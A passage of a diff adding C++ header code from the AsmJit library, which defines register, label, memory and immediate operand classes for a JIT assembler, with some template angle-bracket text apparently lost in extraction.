0x1 is never associated with any register (reg-type). + //! This means that a memory operand's BASE register can be constructed + //! from virtually any operand (register vs. label) by just assigning its + //! type (reg type or label-tag) and operand id. + kLabelTag = 0x1 + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create new, unassociated label. + ASMJIT_INLINE Label() noexcept : Operand(NoInit) { reset(); } + //! Create a reference to another label. + ASMJIT_INLINE Label(const Label& other) noexcept : Operand(other) {} + + explicit ASMJIT_INLINE Label(uint32_t id) noexcept : Operand(NoInit) { + _init_packed_d0_d1(kOpLabel, id); + _init_packed_d2_d3(0, 0); + } + + explicit ASMJIT_INLINE Label(const _NoInit&) noexcept : Operand(NoInit) {} + + // -------------------------------------------------------------------------- + // [Reset] + // -------------------------------------------------------------------------- + + // TODO: I think that if operand is reset it shouldn't say it's a Label, it + // should be none like all other operands. + ASMJIT_INLINE void reset() noexcept { + _init_packed_d0_d1(kOpLabel, 0); + _init_packed_d2_d3(0, 0); + } + + // -------------------------------------------------------------------------- + // [Label Specific] + // -------------------------------------------------------------------------- + + //! Get if the label was created by CodeEmitter and has an assigned id. + ASMJIT_INLINE bool isValid() const noexcept { return _label.id != 0; } + //! Set label id. + ASMJIT_INLINE void setId(uint32_t id) { _label.id = id; } + + // -------------------------------------------------------------------------- + // [Operator Overload] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE Label& operator=(const Label& other) noexcept { copyFrom(other); return *this; } +}; + +// ============================================================================ +// [asmjit::Reg] +// ============================================================================ + +#define ASMJIT_DEFINE_REG_TRAITS(TRAITS_T, REG_T, TYPE, KIND, SIZE, COUNT, TYPE_ID) \ +template<> \ +struct TRAITS_T < TYPE > { \ + typedef REG_T Reg; \ + \ + enum { \ + kValid = 1, \ + kCount = COUNT, \ + kTypeId = TYPE_ID, \ + \ + kType = TYPE, \ + kKind = KIND, \ + kSize = SIZE, \ + kSignature = (Operand::kOpReg << Operand::kSignatureOpShift ) | \ + (kType << Operand::kSignatureRegTypeShift) | \ + (kKind << Operand::kSignatureRegKindShift) | \ + (kSize << Operand::kSignatureSizeShift ) \ + }; \ +} \ + +#define ASMJIT_DEFINE_ABSTRACT_REG(REG_T, BASE_T) \ +public: \ + /*! Default constructor doesn't setup anything, it's like `Operand()`. */ \ + ASMJIT_INLINE REG_T() ASMJIT_NOEXCEPT \ + : BASE_T() {} \ + \ + /*! Copy the `other` REG_T register operand. */ \ + ASMJIT_INLINE REG_T(const REG_T& other) ASMJIT_NOEXCEPT \ + : BASE_T(other) {} \ + \ + /*! Copy the `other` REG_T register operand having its id set to `rId` */ \ + ASMJIT_INLINE REG_T(const Reg& other, uint32_t rId) ASMJIT_NOEXCEPT \ + : BASE_T(other, rId) {} \ + \ + /*! Create a REG_T register operand based on `signature` and `rId`. */ \ + ASMJIT_INLINE REG_T(const _Init& init, uint32_t signature, uint32_t rId) ASMJIT_NOEXCEPT \ + : BASE_T(init, signature, rId) {} \ + \ + /*! Create a completely uninitialized REG_T register operand (garbage). */ \ + explicit ASMJIT_INLINE REG_T(const _NoInit&) ASMJIT_NOEXCEPT \ + : BASE_T(NoInit) {} \ + \ + /*! Clone the register operand. */ \ + ASMJIT_INLINE REG_T clone() const ASMJIT_NOEXCEPT { return REG_T(*this); } \ + \ + /*! Create a new register from register type and id. */ \ + static ASMJIT_INLINE REG_T fromTypeAndId(uint32_t rType, uint32_t rId) ASMJIT_NOEXCEPT { \ + return REG_T(Init, signatureOf(rType), rId); \ + } \ + \ + /*! Create a new register from signature and id. */ \ + static ASMJIT_INLINE REG_T fromSignature(uint32_t signature, uint32_t rId) ASMJIT_NOEXCEPT { \ + return REG_T(Init, signature, rId); \ + } \ + \ + ASMJIT_INLINE REG_T& operator=(const REG_T& other) ASMJIT_NOEXCEPT { \ + copyFrom(other); return *this; \ + } + +#define ASMJIT_DEFINE_FINAL_REG(REG_T, BASE_T, TRAITS_T) \ + ASMJIT_DEFINE_ABSTRACT_REG(REG_T, BASE_T) \ + \ + /*! Create a REG_T register with `id`. */ \ + explicit ASMJIT_INLINE REG_T(uint32_t rId) ASMJIT_NOEXCEPT \ + : BASE_T(Init, kSignature, rId) {} \ + \ + enum { \ + kThisType = TRAITS_T::kType, \ + kThisKind = TRAITS_T::kKind, \ + kThisSize = TRAITS_T::kSize, \ + kSignature = TRAITS_T::kSignature \ + }; + +//! Structure that contains core register information. +//! +//! This information is compatible with operand's signature (32-bit integer) +//! and `RegInfo` just provides easy way to access it. +struct RegInfo { + ASMJIT_INLINE uint32_t getSignature() const noexcept { + return _signature; + } + + ASMJIT_INLINE uint32_t getOp() const noexcept { + return (_signature >> Operand::kSignatureOpShift) & Operand::kSignatureOpBits; + } + + ASMJIT_INLINE uint32_t getType() const noexcept { + return (_signature >> Operand::kSignatureRegTypeShift) & Operand::kSignatureRegTypeBits; + } + + ASMJIT_INLINE uint32_t getKind() const noexcept { + return (_signature >> Operand::kSignatureRegKindShift) & Operand::kSignatureRegKindBits; + } + + ASMJIT_INLINE uint32_t getSize() const noexcept { + return (_signature >> Operand::kSignatureSizeShift) & Operand::kSignatureSizeBits; + } + + uint32_t _signature; +}; + +//! Physical/Virtual register operand. +class Reg : public Operand { +public: + //! Architecture neutral register types. + //! + //! These must be reused by any platform that contains that types. All GP + //! and VEC registers are also allowed by design to be part of a BASE|INDEX + //! of a memory operand. + ASMJIT_ENUM(RegType) { + kRegNone = 0, //!< No register - unused, invalid, multiple meanings. + // (1 is used as a LabelTag) + kRegGp8Lo = 2, //!< 8-bit low general purpose register (X86). + kRegGp8Hi = 3, //!< 8-bit high general purpose register (X86). + kRegGp16 = 4, //!< 16-bit general purpose register (X86). + kRegGp32 = 5, //!< 32-bit general purpose register (X86|ARM). + kRegGp64 = 6, //!< 64-bit general purpose register (X86|ARM). + kRegVec32 = 7, //!< 32-bit view of a vector register (ARM). + kRegVec64 = 8, //!< 64-bit view of a vector register (ARM). + kRegVec128 = 9, //!< 128-bit view of a vector register (X86|ARM). + kRegVec256 = 10, //!< 256-bit view of a vector register (X86). + kRegVec512 = 11, //!< 512-bit view of a vector register (X86). + kRegVec1024 = 12, //!< 1024-bit view of a vector register (future). + kRegVec2048 = 13, //!< 2048-bit view of a vector register (future). + kRegIP = 14, //!< Universal id of IP/PC register (if separate). + kRegCustom = 15, //!< Start of platform dependent register types (must be honored). + kRegMax = 31 //!< Maximum possible register id of all architectures. + }; + + //! Architecture neutral register kinds. + ASMJIT_ENUM(Kind) { + kKindGp = 0, //!< General purpose register (X86|ARM). + kKindVec = 1, //!< Vector register (X86|ARM). + kKindMax = 15 //!< Maximum possible register kind of all architectures. + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a dummy register operand. + ASMJIT_INLINE Reg() noexcept : Operand() {} + //! Create a new register operand which is the same as `other` . + ASMJIT_INLINE Reg(const Reg& other) noexcept : Operand(other) {} + //! Create a new register operand compatible with `other`, but with a different `rId`. + ASMJIT_INLINE Reg(const Reg& other, uint32_t rId) noexcept : Operand(NoInit) { + _init_packed_d0_d1(other._signature, rId); + _packed[1] = other._packed[1]; + } + + //! Create a register initialized to `signature` and `rId`. + ASMJIT_INLINE Reg(const _Init&, uint32_t signature, uint32_t rId) noexcept : Operand(NoInit) { + _initReg(signature, rId); + } + explicit ASMJIT_INLINE Reg(const _NoInit&) noexcept : Operand(NoInit) {} + + //! Create a new register based on `signature` and `rId`. + static ASMJIT_INLINE Reg fromSignature(uint32_t signature, uint32_t rId) noexcept { return Reg(Init, signature, rId); } + + // -------------------------------------------------------------------------- + // [Reg Specific] + // -------------------------------------------------------------------------- + + //! Get if the register is valid (either virtual or physical). + ASMJIT_INLINE bool isValid() const noexcept { return _signature != 0; } + //! Get if this is a physical register. + ASMJIT_INLINE bool isPhysReg() const noexcept { return _reg.id < Globals::kInvalidRegId; } + //! Get if this is a virtual register (used by \ref CodeCompiler). + ASMJIT_INLINE bool isVirtReg() const noexcept { return isPackedId(_reg.id); } + + //! Get if this register is the same as `other`. + //! + //! This is just an optimization. Registers by default only use the first + //! 8 bytes of the Operand, so this method takes advantage of this knowledge + //! and only compares these 8 bytes. If both operands were created correctly + //! then `isEqual()` and `isSame()` should give the same answer, however, if + //! some operands contains a garbage or other metadata in the upper 8 bytes + //! then `isSame()` may return `true` in cases where `isEqual()` returns + //! false. However. no such case is known at the moment. + ASMJIT_INLINE bool isSame(const Reg& other) const noexcept { return _packed[0] == other._packed[0]; } + + //! Get if the register type matches `rType` - same as `isReg(rType)`, provided for convenience. + ASMJIT_INLINE bool isType(uint32_t rType) const noexcept { return (_signature & kSignatureRegTypeMask) == (rType << kSignatureRegTypeShift); } + //! Get if the register kind matches `rKind`. + ASMJIT_INLINE bool isKind(uint32_t rKind) const noexcept { return (_signature & kSignatureRegKindMask) == (rKind << kSignatureRegKindShift); } + + //! Get if the register is a general purpose register (any size). + ASMJIT_INLINE bool isGp() const noexcept { return isKind(kKindGp); } + //! Get if the register is a vector register. + ASMJIT_INLINE bool isVec() const noexcept { return isKind(kKindVec); } + + using Operand_::isReg; + + //! Same as `isType()`, provided for convenience. + ASMJIT_INLINE bool isReg(uint32_t rType) const noexcept { return isType(rType); } + //! Get if the register type matches `type` and register id matches `rId`. + ASMJIT_INLINE bool isReg(uint32_t rType, uint32_t rId) const noexcept { return isType(rType) && getId() == rId; } + + //! Get the register type. + ASMJIT_INLINE uint32_t getType() const noexcept { return _getSignatureData(kSignatureRegTypeBits, kSignatureRegTypeShift); } + //! Get the register kind. + ASMJIT_INLINE uint32_t getKind() const noexcept { return _getSignatureData(kSignatureRegKindBits, kSignatureRegKindShift); } + + //! Clone the register operand. + ASMJIT_INLINE Reg clone() const noexcept { return Reg(*this); } + + //! Cast this register to `RegT` by also changing its signature. + //! + //! NOTE: Improper use of `cloneAs()` can lead to hard-to-debug errors. + template + ASMJIT_INLINE RegT cloneAs() const noexcept { return RegT(Init, RegT::kSignature, getId()); } + + //! Cast this register to `other` by also changing its signature. + //! + //! NOTE: Improper use of `cloneAs()` can lead to hard-to-debug errors. + template + ASMJIT_INLINE RegT cloneAs(const RegT& other) const noexcept { return RegT(Init, other.getSignature(), getId()); } + + //! Set the register id to `id`. + ASMJIT_INLINE void setId(uint32_t rId) noexcept { _reg.id = rId; } + + //! Set a 32-bit operand signature based on traits of `RegT`. + template + ASMJIT_INLINE void setSignatureT() noexcept { _signature = RegT::kSignature; } + + //! Set register's `signature` and `rId`. + ASMJIT_INLINE void setSignatureAndId(uint32_t signature, uint32_t rId) noexcept { + _signature = signature; + _reg.id = rId; + } + + // -------------------------------------------------------------------------- + // [Reg Statics] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE bool isGp(const Operand_& op) noexcept { + // Check operand type and register kind. Not interested in register type and size. + const uint32_t kSgn = (kOpReg << kSignatureOpShift ) | + (kKindGp << kSignatureRegKindShift) ; + return (op.getSignature() & (kSignatureOpMask | kSignatureRegKindMask)) == kSgn; + } + + //! Get if the `op` operand is either a low or high 8-bit GPB register. + static ASMJIT_INLINE bool isVec(const Operand_& op) noexcept { + // Check operand type and register kind. Not interested in register type and size. + const uint32_t kSgn = (kOpReg << kSignatureOpShift ) | + (kKindVec << kSignatureRegKindShift) ; + return (op.getSignature() & (kSignatureOpMask | kSignatureRegKindMask)) == kSgn; + } + + static ASMJIT_INLINE bool isGp(const Operand_& op, uint32_t rId) noexcept { return isGp(op) & (op.getId() == rId); } + static ASMJIT_INLINE bool isVec(const Operand_& op, uint32_t rId) noexcept { return isVec(op) & (op.getId() == rId); } +}; + +// ============================================================================ +// [asmjit::RegOnly] +// ============================================================================ + +//! RegOnly is 8-byte version of `Reg` that only allows to store either `Reg` +//! or nothing. This class was designed to decrease the space consumed by each +//! extra "operand" in `CodeEmitter` and `CBInst` classes. +struct RegOnly { + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + //! Initialize the `RegOnly` instance to hold register `signature` and `id`. + ASMJIT_INLINE void init(uint32_t signature, uint32_t id) noexcept { + _signature = signature; + _id = id; + } + + ASMJIT_INLINE void init(const Reg& reg) noexcept { init(reg.getSignature(), reg.getId()); } + ASMJIT_INLINE void init(const RegOnly& reg) noexcept { init(reg.getSignature(), reg.getId()); } + + //! Reset the `RegOnly` to none. + ASMJIT_INLINE void reset() noexcept { init(0, 0); } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get if the `ExtraReg` is none (same as calling `Operand_::isNone()`). + ASMJIT_INLINE bool isNone() const noexcept { return _signature == 0; } + //! Get if the register is valid (either virtual or physical). + ASMJIT_INLINE bool isValid() const noexcept { return _signature != 0; } + + //! Get if this is a physical register. + ASMJIT_INLINE bool isPhysReg() const noexcept { return _id < Globals::kInvalidRegId; } + //! Get if this is a virtual register (used by \ref CodeCompiler). + ASMJIT_INLINE bool isVirtReg() const noexcept { return Operand::isPackedId(_id); } + + //! Get register signature or 0. + ASMJIT_INLINE uint32_t getSignature() const noexcept { return _signature; } + //! Get register id or 0. + ASMJIT_INLINE uint32_t getId() const noexcept { return _id; } + + //! \internal + //! + //! Unpacks information from operand's signature. + ASMJIT_INLINE uint32_t _getSignatureData(uint32_t bits, uint32_t shift) const noexcept { return (_signature >> shift) & bits; } + + //! Get the register type. + ASMJIT_INLINE uint32_t getType() const noexcept { return _getSignatureData(Operand::kSignatureRegTypeBits, Operand::kSignatureRegTypeShift); } + //! Get the register kind. + ASMJIT_INLINE uint32_t getKind() const noexcept { return _getSignatureData(Operand::kSignatureRegKindBits, Operand::kSignatureRegKindShift); } + + // -------------------------------------------------------------------------- + // [ToReg] + // -------------------------------------------------------------------------- + + //! Convert back to `RegT` operand. + template + ASMJIT_INLINE RegT toReg() const noexcept { return RegT(Init, _signature, _id); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Type of the operand, either `kOpNone` or `kOpReg`. + uint32_t _signature; + //! Physical or virtual register id. + uint32_t _id; +}; + +// ============================================================================ +// [asmjit::Mem] +// ============================================================================ + +//! Base class for all memory operands. +//! +//! NOTE: It's tricky to pack all possible cases that define a memory operand +//! into just 16 bytes. The `Mem` splits data into the following parts: +//! +//! BASE - Base register or label - requires 36 bits total. 4 bits are used +//! to encode the type of the BASE operand (label vs. register type) and +//! the remaining 32 bits define the BASE id, which can be a physical or +//! virtual register index. If BASE type is zero, which is never used as +//! a register-type and label doesn't use it as well then BASE field +//! contains a high DWORD of a possible 64-bit absolute address, which is +//! possible on X64. +//! +//! INDEX - Index register (or theoretically Label, which doesn't make sense). +//! Encoding is similar to BASE - it also requires 36 bits and splits the +//! encoding to INDEX type (4 bits defining the register type) and id (32-bits). +//! +//! OFFSET - A relative offset of the address. Basically if BASE is specified +//! the relative displacement adjusts BASE and an optional INDEX. if BASE is +//! not specified then the OFFSET should be considered as ABSOLUTE address +//! (at least on X86/X64). In that case its low 32 bits are stored in +//! DISPLACEMENT field and the remaining high 32 bits are stored in BASE. +//! +//! OTHER FIELDS - There is rest 8 bits that can be used for whatever purpose. +//! The X86Mem operand uses these bits to store segment override +//! prefix and index shift (scale). +class Mem : public Operand { +public: + enum AddrType { + kAddrTypeDefault = 0, + kAddrTypeAbs = 1, + kAddrTypeRel = 2, + kAddrTypeWrt = 3 + }; + + // Shortcuts. + enum SignatureMem { + kSignatureMemAbs = kAddrTypeAbs << kSignatureMemAddrTypeShift, + kSignatureMemRel = kAddrTypeRel << kSignatureMemAddrTypeShift, + kSignatureMemWrt = kAddrTypeWrt << kSignatureMemAddrTypeShift + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Construct a default `Mem` operand, that points to [0]. + ASMJIT_INLINE Mem() noexcept : Operand(NoInit) { reset(); } + ASMJIT_INLINE Mem(const Mem& other) noexcept : Operand(other) {} + + ASMJIT_INLINE Mem(const _Init&, + uint32_t baseType, uint32_t baseId, + uint32_t indexType, uint32_t indexId, + int32_t off, uint32_t size, uint32_t flags) noexcept : Operand(NoInit) { + + uint32_t signature = (baseType << kSignatureMemBaseTypeShift ) | + (indexType << kSignatureMemIndexTypeShift) | + (size << kSignatureSizeShift ) ; + + _init_packed_d0_d1(kOpMem | signature | flags, indexId); + _mem.base = baseId; + _mem.offsetLo32 = static_cast(off); + } + explicit ASMJIT_INLINE Mem(const _NoInit&) noexcept : Operand(NoInit) {} + + // -------------------------------------------------------------------------- + // [Mem Specific] + // -------------------------------------------------------------------------- + + //! Clone `Mem` operand. + ASMJIT_INLINE Mem clone() const noexcept { return Mem(*this); } + + //! Reset the memory operand - after reset the memory points to [0]. + ASMJIT_INLINE void reset() noexcept { + _init_packed_d0_d1(kOpMem, 0); + _init_packed_d2_d3(0, 0); + } + + ASMJIT_INLINE bool hasAddrType() const noexcept { return _hasSignatureData(kSignatureMemAddrTypeMask); } + ASMJIT_INLINE uint32_t getAddrType() const noexcept { return _getSignatureData(kSignatureMemAddrTypeBits, kSignatureMemAddrTypeShift); } + ASMJIT_INLINE void setAddrType(uint32_t addrType) noexcept { return _setSignatureData(addrType, kSignatureMemAddrTypeBits, kSignatureMemAddrTypeShift); } + ASMJIT_INLINE void resetAddrType() noexcept { return _clearSignatureData(kSignatureMemAddrTypeBits, kSignatureMemAddrTypeShift); } + + ASMJIT_INLINE bool isAbs() const noexcept { return getAddrType() == kAddrTypeAbs; } + ASMJIT_INLINE bool isRel() const noexcept { return getAddrType() == kAddrTypeRel; } + ASMJIT_INLINE bool isWrt() const noexcept { return getAddrType() == kAddrTypeWrt; } + + ASMJIT_INLINE void setAbs() noexcept { setAddrType(kAddrTypeAbs); } + ASMJIT_INLINE void setRel() noexcept { setAddrType(kAddrTypeRel); } + ASMJIT_INLINE void setWrt() noexcept { setAddrType(kAddrTypeWrt); } + + ASMJIT_INLINE bool isArgHome() const noexcept { return _hasSignatureData(kSignatureMemArgHomeFlag); } + ASMJIT_INLINE bool isRegHome() const noexcept { return _hasSignatureData(kSignatureMemRegHomeFlag); } + + ASMJIT_INLINE void setArgHome() noexcept { _signature |= kSignatureMemArgHomeFlag; } + ASMJIT_INLINE void setRegHome() noexcept { _signature |= kSignatureMemRegHomeFlag; } + + ASMJIT_INLINE void clearArgHome() noexcept { _signature &= ~kSignatureMemArgHomeFlag; } + ASMJIT_INLINE void clearRegHome() noexcept { _signature &= ~kSignatureMemRegHomeFlag; } + + //! Get if the memory operand has a BASE register or label specified. + ASMJIT_INLINE bool hasBase() const noexcept { return (_signature & kSignatureMemBaseTypeMask) != 0; } + //! Get if the memory operand has an INDEX register specified. + ASMJIT_INLINE bool hasIndex() const noexcept { return (_signature & kSignatureMemIndexTypeMask) != 0; } + //! Get whether the memory operand has BASE and INDEX register. + ASMJIT_INLINE bool hasBaseOrIndex() const noexcept { return (_signature & kSignatureMemBaseIndexMask) != 0; } + //! Get whether the memory operand has BASE and INDEX register. + ASMJIT_INLINE bool hasBaseAndIndex() const noexcept { return (_signature & kSignatureMemBaseTypeMask) != 0 && (_signature & kSignatureMemIndexTypeMask) != 0; } + + //! Get if the BASE operand is a register (registers start after `kLabelTag`). + ASMJIT_INLINE bool hasBaseReg() const noexcept { return (_signature & kSignatureMemBaseTypeMask) > (Label::kLabelTag << kSignatureMemBaseTypeShift); } + //! Get if the BASE operand is a label. + ASMJIT_INLINE bool hasBaseLabel() const noexcept { return (_signature & kSignatureMemBaseTypeMask) == (Label::kLabelTag << kSignatureMemBaseTypeShift); } + //! Get if the INDEX operand is a register (registers start after `kLabelTag`). + ASMJIT_INLINE bool hasIndexReg() const noexcept { return (_signature & kSignatureMemIndexTypeMask) > (Label::kLabelTag << kSignatureMemIndexTypeShift); } + + //! Get type of a BASE register (0 if this memory operand doesn't use the BASE register). + //! + //! NOTE: If the returned type is one (a value never associated to a register + //! type) the BASE is not register, but it's a label. One equals to `kLabelTag`. + //! You should always check `hasBaseLabel()` before using `getBaseId()` result. + ASMJIT_INLINE uint32_t getBaseType() const noexcept { return _getSignatureData(kSignatureMemBaseTypeBits, kSignatureMemBaseTypeShift); } + //! Get type of an INDEX register (0 if this memory operand doesn't use the INDEX register). + ASMJIT_INLINE uint32_t getIndexType() const noexcept { return _getSignatureData(kSignatureMemIndexTypeBits, kSignatureMemIndexTypeShift); } + + //! Get both BASE (4:0 bits) and INDEX (9:5 bits) types combined into a single integer. + //! + //! This is used internally for BASE+INDEX validation. + ASMJIT_INLINE uint32_t getBaseIndexType() const noexcept { return _getSignatureData(kSignatureMemBaseIndexBits, kSignatureMemBaseIndexShift); } + + //! Get id of the BASE register or label (if the BASE was specified as label). + ASMJIT_INLINE uint32_t getBaseId() const noexcept { return _mem.base; } + //! Get id of the INDEX register. + ASMJIT_INLINE uint32_t getIndexId() const noexcept { return _mem.index; } + + ASMJIT_INLINE void _setBase(uint32_t rType, uint32_t rId) noexcept { + _setSignatureData(rType, kSignatureMemBaseTypeBits, kSignatureMemBaseTypeShift); + _mem.base = rId; + } + + ASMJIT_INLINE void _setIndex(uint32_t rType, uint32_t rId) noexcept { + _setSignatureData(rType, kSignatureMemIndexTypeBits, kSignatureMemIndexTypeShift); + _mem.index = rId; + } + + ASMJIT_INLINE void setBase(const Reg& base) noexcept { return _setBase(base.getType(), base.getId()); } + ASMJIT_INLINE void setIndex(const Reg& index) noexcept { return _setIndex(index.getType(), index.getId()); } + + //! Reset the memory operand's BASE register / label. + ASMJIT_INLINE void resetBase() noexcept { _setBase(0, 0); } + //! Reset the memory operand's INDEX register. + ASMJIT_INLINE void resetIndex() noexcept { _setIndex(0, 0); } + + //! Set memory operand size. + ASMJIT_INLINE void setSize(uint32_t size) noexcept { + _setSignatureData(size, kSignatureSizeBits, kSignatureSizeShift); + } + + ASMJIT_INLINE bool hasOffset() const noexcept { + int32_t lo = static_cast(_mem.offsetLo32); + int32_t hi = static_cast(_mem.base) & -static_cast(getBaseType() == 0); + return (lo | hi) != 0; + } + + //! Get if the memory operand has 64-bit offset or absolute address. + //! + //! If this is true then `hasBase()` must always report false. + ASMJIT_INLINE bool has64BitOffset() const noexcept { return getBaseType() == 0; } + + //! Get a 64-bit offset or absolute address. + ASMJIT_INLINE int64_t getOffset() const noexcept { + return has64BitOffset() + ? static_cast(_mem.offset64) + : static_cast(static_cast(_mem.offsetLo32)); // Sign-Extend. + } + + //! Get a lower part of a 64-bit offset or absolute address. + ASMJIT_INLINE int32_t getOffsetLo32() const noexcept { return static_cast(_mem.offsetLo32); } + //! Get a higher part of a 64-bit offset or absolute address. + //! + //! NOTE: This function is UNSAFE and returns garbage if `has64BitOffset()` + //! returns false. Never use it blindly without checking it. + ASMJIT_INLINE int32_t getOffsetHi32() const noexcept { return static_cast(_mem.base); } + + //! Set a 64-bit offset or an absolute address to `offset`. + //! + //! NOTE: This functions attempts to set both high and low parts of a 64-bit + //! offset, however, if the operand has a BASE register it will store only the + //! low 32 bits of the offset / address as there is no way to store both BASE + //! and 64-bit offset, and there is currently no architecture that has such + //! capability targeted by AsmJit. + ASMJIT_INLINE void setOffset(int64_t offset) noexcept { + if (has64BitOffset()) + _mem.offset64 = static_cast(offset); + else + _mem.offsetLo32 = static_cast(offset & 0xFFFFFFFF); + } + //! Adjust the offset by a 64-bit `off`. + ASMJIT_INLINE void addOffset(int64_t off) noexcept { + if (has64BitOffset()) + _mem.offset64 += static_cast(off); + else + _mem.offsetLo32 += static_cast(off & 0xFFFFFFFF); + } + //! Reset the memory offset to zero. + ASMJIT_INLINE void resetOffset() noexcept { setOffset(0); } + + //! Set a low 32-bit offset to `off`. + ASMJIT_INLINE void setOffsetLo32(int32_t off) noexcept { + _mem.offsetLo32 = static_cast(off); + } + //! Adjust the offset by `off`. + //! + //! NOTE: This is a fast function that doesn't use the HI 32-bits of a + //! 64-bit offset. Use it only if you know that there is a BASE register + //! and the offset is only 32 bits anyway. + ASMJIT_INLINE void addOffsetLo32(int32_t off) noexcept { + _mem.offsetLo32 += static_cast(off); + } + //! Reset the memory offset to zero. + ASMJIT_INLINE void resetOffsetLo32() noexcept { setOffsetLo32(0); } + + // -------------------------------------------------------------------------- + // [Operator Overload] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE Mem& operator=(const Mem& other) noexcept { copyFrom(other); return *this; } +}; + +// ============================================================================ +// [asmjit::Imm] +// ============================================================================ + +//! Immediate operand. +//! +//! Immediate operand is usually part of instruction itself. It's inlined after +//! or before the instruction opcode. Immediates can be only signed or unsigned +//! integers. +//! +//! To create immediate operand use `imm()` or `imm_u()` non-members or `Imm` +//! constructors. +class Imm : public Operand { +public: + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new immediate value (initial value is 0). + Imm() noexcept : Operand(NoInit) { + _init_packed_d0_d1(kOpImm, 0); + _imm.value.i64 = 0; + } + + //! Create a new signed immediate value, assigning the value to `val`. + explicit Imm(int64_t val) noexcept : Operand(NoInit) { + _init_packed_d0_d1(kOpImm, 0); + _imm.value.i64 = val; + } + + //! Create a new immediate value from `other`. + ASMJIT_INLINE Imm(const Imm& other) noexcept : Operand(other) {} + + explicit ASMJIT_INLINE Imm(const _NoInit&) noexcept : Operand(NoInit) {} + + // -------------------------------------------------------------------------- + // [Immediate Specific] + // -------------------------------------------------------------------------- + + //! Clone `Imm` operand. + ASMJIT_INLINE Imm clone() const noexcept { return Imm(*this); } + + //! Get whether the immediate can be casted to 8-bit signed integer. + ASMJIT_INLINE bool isInt8() const noexcept { return Utils::isInt8(_imm.value.i64); } + //! Get whether the immediate can be casted to 8-bit unsigned integer. + ASMJIT_INLINE bool isUInt8() const noexcept { return Utils::isUInt8(_imm.value.i64); } + + //! Get whether the immediate can be casted to 16-bit signed integer. + ASMJIT_INLINE bool isInt16() const noexcept { return Utils::isInt16(_imm.value.i64); } + //! Get whether the immediate can be casted to 16-bit unsigned integer. + ASMJIT_INLINE bool isUInt16() const noexcept { return Utils::isUInt16(_imm.value.i64); } + + //! Get whether the immediate can be casted to 32-bit signed integer. + ASMJIT_INLINE bool isInt32() const noexcept { return Utils::isInt32(_imm.value.i64); } + //! Get whether the immediate can be casted to 32-bit unsigned integer. + ASMJIT_INLINE bool isUInt32() const noexcept { return Utils::isUInt32(_imm.value.i64); } + + //! Get immediate value as 8-bit signed integer. + ASMJIT_INLINE int8_t getInt8() const noexcept { return static_cast(_imm.value.i32Lo & 0xFF); } + //! Get immediate value as 8-bit unsigned integer. + ASMJIT_INLINE uint8_t getUInt8() const noexcept { return static_cast(_imm.value.u32Lo & 0xFFU); } + //! Get immediate value as 16-bit signed integer. + ASMJIT_INLINE int16_t getInt16() const noexcept { return static_cast(_imm.value.i32Lo & 0xFFFF);} + //! Get immediate value as 16-bit unsigned integer. + ASMJIT_INLINE uint16_t getUInt16() const noexcept { return static_cast(_imm.value.u32Lo & 0xFFFFU);} + + //! Get immediate value as 32-bit signed integer. + ASMJIT_INLINE int32_t getInt32() const noexcept { return _imm.value.i32Lo; } + //! Get low 32-bit signed integer. + ASMJIT_INLINE int32_t getInt32Lo() const noexcept { return _imm.value.i32Lo; } + //! Get high 32-bit signed integer. + ASMJIT_INLINE int32_t getInt32Hi() const noexcept { return _imm.value.i32Hi; } + + //! Get immediate value as 32-bit unsigned integer. + ASMJIT_INLINE uint32_t getUInt32() const noexcept { return _imm.value.u32Lo; } + //! Get low 32-bit signed integer. + ASMJIT_INLINE uint32_t getUInt32Lo() const noexcept { return _imm.value.u32Lo; } + //! Get high 32-bit signed integer. + ASMJIT_INLINE uint32_t getUInt32Hi() const noexcept { return _imm.value.u32Hi; } + + //! Get immediate value as 64-bit signed integer. + ASMJIT_INLINE int64_t getInt64() const noexcept { return _imm.value.i64; } + //! Get immediate value as 64-bit unsigned integer. + ASMJIT_INLINE uint64_t getUInt64() const noexcept { return _imm.value.u64; } + + //! Get immediate value as `intptr_t`. + ASMJIT_INLINE intptr_t getIntPtr() const noexcept { + if (sizeof(intptr_t) == sizeof(int64_t)) + return static_cast(getInt64()); + else + return static_cast(getInt32()); + } + + //! Get immediate value as `uintptr_t`. + ASMJIT_INLINE uintptr_t getUIntPtr() const noexcept { + if (sizeof(uintptr_t) == sizeof(uint64_t)) + return static_cast(getUInt64()); + else + return static_cast(getUInt32()); + } + + //! Set immediate value to 8-bit signed integer `val`. + ASMJIT_INLINE void setInt8(int8_t val) noexcept { _imm.value.i64 = static_cast(val); } + //! Set immediate value to 8-bit unsigned integer `val`. + ASMJIT_INLINE void setUInt8(uint8_t val) noexcept { _imm.value.u64 = static_cast(val); } + + //! Set immediate value to 16-bit signed integer `val`. + ASMJIT_INLINE void setInt16(int16_t val) noexcept { _imm.value.i64 = static_cast(val); } + //! Set immediate value to 16-bit unsigned integer `val`. + ASMJIT_INLINE void setUInt16(uint16_t val) noexcept { _imm.value.u64 = static_cast(val); } + + //! Set immediate value to 32-bit signed integer `val`. + ASMJIT_INLINE void setInt32(int32_t val) noexcept { _imm.value.i64 = static_cast(val); } + //! Set immediate value to 32-bit unsigned integer `val`. + ASMJIT_INLINE void setUInt32(uint32_t val) noexcept { _imm.value.u64 = static_cast(val); } + + //! Set immediate value to 64-bit signed integer `val`. + ASMJIT_INLINE void setInt64(int64_t val) noexcept { _imm.value.i64 = val; } + //! Set immediate value to 64-bit unsigned integer `val`. + ASMJIT_INLINE void setUInt64(uint64_t val) noexcept { _imm.value.u64 = val; } + //! Set immediate value to intptr_t `val`. + ASMJIT_INLINE void setIntPtr(intptr_t val) noexcept { _imm.value.i64 = static_cast(val); } + //! Set immediate value to uintptr_t `val`. + ASMJIT_INLINE void setUIntPtr(uintptr_t val) noexcept { _imm.value.u64 = static_cast(val); } + + //! Set immediate value as unsigned type to `val`. + 